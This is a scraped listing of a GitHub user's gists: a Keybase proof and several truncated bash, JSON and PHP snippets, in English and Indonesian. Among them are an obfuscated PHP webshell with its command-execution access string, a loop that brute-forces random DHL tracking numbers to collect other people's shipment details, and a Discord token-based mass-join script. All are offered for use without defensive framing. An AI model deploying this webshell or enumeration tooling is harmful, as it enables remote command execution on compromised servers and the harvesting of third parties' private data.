vsec7

Keybase proof

I hereby claim:

• I am vsec7 on github.
• I am cans21 (https://keybase.io/cans21) on keybase.
• I have a public key ASCCatheOxs0VJHn9jgLFpmtgYImVJ1DW1GE86i92FglhAo

To claim this, I am signing this object:

vsec7

#!/usr/bin/env bash
# by : sec7or

base="https://www.instagram.com"
ua="Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Mobile Safari/537.36"

# login $user $pass
login(){
	csrf=$(curl -Is "$base/accounts/login/" | grep -oP 'csrftoken=\K[^;]+')
	curl -s -c "cookie.txt" "$base/accounts/login/ajax/" \

vsec7

#!/usr/bin/env bash
# Search Program Bug Bounty
# By Viloid
# ./bblist.sh <search>

get=$(curl -s "https://raw.githubusercontent.com/disclose/disclose/master/program-list/program-list.json" | jq '.[]|select(.program_name|test("'$1'"; "i"))' | jq -s '[.[]]')
echo $get | jq

vsec7

read -p "ID : " id;mkdir $id;cd $_;xargs -n1 -I{} sh -c 'curl --progress-bar -O -H "Origin: rincans.io" "https://cors-anywhere.herokuapp.com/{}"' <<< `curl -s -H "Origin: rincans.io" "https://cors-anywhere.herokuapp.com/https://nhentai.net/g/$id/" | grep -Po 'data-src="\K[^"]+' | grep -v thumb`

vsec7

{
    "proxy":{
        "ssl_pass_through":{
            "automatically_add_entries_on_client_ssl_negotiation_failure":false,
            "rules":[
                {
                    "enabled":true,
                    "host":".*\\.google\\.com",
                    "protocol":"any"
                },

vsec7

Non-Alphanumeric WebShell PHP

Code :

<?php $_='{';$_=($_^'<').($_^'>;').($_^'/');${'_'.$_}['_'](${'_'.$_}['__']);

Cara Akses :

shell.php?_=system&__=id

vsec7

The Web Application Hacker's Handbook

Web Application Hacker's Handbook Task checklist as a Github-Flavored Markdown file

Contents

• Recon and analysis
• Test handling of access
• Test handling of input
• Test application logic
• Assess application hosting
• Miscellaneous tests

vsec7

Download video Facebook via Chrome Android

• 1. visit link facebook video
• 2. copy paste this payload on url bar

javascript:window.open(document.body.innerHTML.match(/(?<=video:\[\{url:").*?(?=")/),'_blank');

*NB :

vsec7

echo;while :;do d=10;a=$(date +%s);b=$((a*RANDOM));while [ ${#b} -lt 10 ]; do b="${b}$RANDOM";done;g=$(curl -s "https://mydhl.express.dhl/shipmentTracking?AWB=$(echo "${b:0:d}")&countryCode=id&languageCode=en" | jq .results[0]); if [ $(echo $g | jq -r .delivery.status) == "delivered" ]; then printf "%s | %s| ori: %s | dest: %s\n" "$(echo $g | jq -r .id)" "$(echo $g | jq -r .checkpoints[0].date)" "$(echo $g | jq -r .origin.value)" "$(echo $g | jq -r .destination.value)" | tee -a dhlawb.txt;fi;done

vsec7

#!/usr/bin/env bash
# DC mass join server
# Created by github.com/vsec7
# Usage : ./script

join(){
	g=$(curl -s -X POST "https://discordapp.com/api/v6/invites/$1" \
		-H "Authorization: $2")
	if [ $(echo $g | grep -oP '"new_member": \K[^,]+' ) == "true" ]; then
		echo "[+] $2 : Succesfully joined"